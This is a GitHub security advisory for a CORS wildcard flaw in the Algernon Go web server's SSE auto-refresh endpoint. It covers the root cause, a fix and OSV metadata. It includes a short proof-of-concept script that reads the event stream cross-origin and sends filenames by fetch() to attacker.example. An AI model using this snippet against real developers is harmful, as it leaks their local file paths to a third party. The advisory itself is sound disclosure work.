GHSA-HW27-4V2Q-5QFF
Vulnerability from github – Published: 2026-05-20 15:34 – Updated: 2026-05-20 15:34Summary
The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.
This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.
Details
Root cause — hard-coded "*" passed as the CORS allowed-origin
// engine/config.go (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)
The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:
// vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
return func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
w.Header().Set("Access-Control-Allow-Origin", allowed)
...
}
}
There is no decision based on the request's Origin header, and no allow-list mechanism — every caller is told their origin is approved.
Why the wildcard is exploitable
EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.
So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit any third-party origin in another tab for the following to drain their stream silently:
<!doctype html>
<script>
const s = new EventSource('http://127.0.0.1:5553/sse');
s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>
The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.
PoC (against 1.17.6)
# 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
# The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
# Access-Control-Allow-Origin: *, browser passes message events to the
# cross-origin script; script ships filenames to attacker.example.
CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.
Impact
- Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
- Integrity: none.
- Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).
Suggestions to fix
Primary fix — echo a same-origin allow-list instead of *.
// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")
The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin) — for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.
Defence in depth — drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.
Live verification
$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
sleep 1
echo "trigger" >> poc2/site/probe.txt
wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt
The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/xyproto/algernon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46431"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:34:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe SSE event server\u0027s `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller\u0027s `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required \u2014 any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause \u2014 hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n return func(w http.ResponseWriter, _ *http.Request) {\n w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n w.Header().Set(\"Cache-Control\", \"no-cache\")\n w.Header().Set(\"Connection\", \"keep-alive\")\n w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n ...\n }\n}\n```\n\nThere is no decision based on the request\u0027s `Origin` header, and no allow-list mechanism \u2014 every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin \u2014 that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n\u003c!doctype html\u003e\n\u003cscript\u003e\n const s = new EventSource(\u0027http://127.0.0.1:5553/sse\u0027);\n s.onmessage = e =\u003e fetch(\u0027https://attacker.example/log?f=\u0027 + encodeURIComponent(e.data));\n\u003c/script\u003e\n```\n\nThe exploit is cookie-less and CORS-clean \u2014 no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n# The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n# Access-Control-Allow-Origin: *, browser passes message events to the\n# cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a\u0027s transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user\u0027s own browser).\n\n### Suggestions to fix\n\n**Primary fix \u2014 echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n http.Error(w, \"forbidden\", http.StatusForbidden)\n return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) \u2014 for example, `sseScheme + \"://\" + ac.serverAddr`. With the server\u0027s own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth \u2014 drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse \u003e sse.txt \u0026\n sleep 1\n echo \"trigger\" \u003e\u003e poc2/site/probe.txt\n wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard \u2014 browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://\u003calgernon\u003e:5553/sse\")` and read the stream.",
"id": "GHSA-hw27-4v2q-5qff",
"modified": "2026-05-20T15:34:40Z",
"published": "2026-05-20T15:34:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
},
{
"type": "PACKAGE",
"url": "https://github.com/xyproto/algernon"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.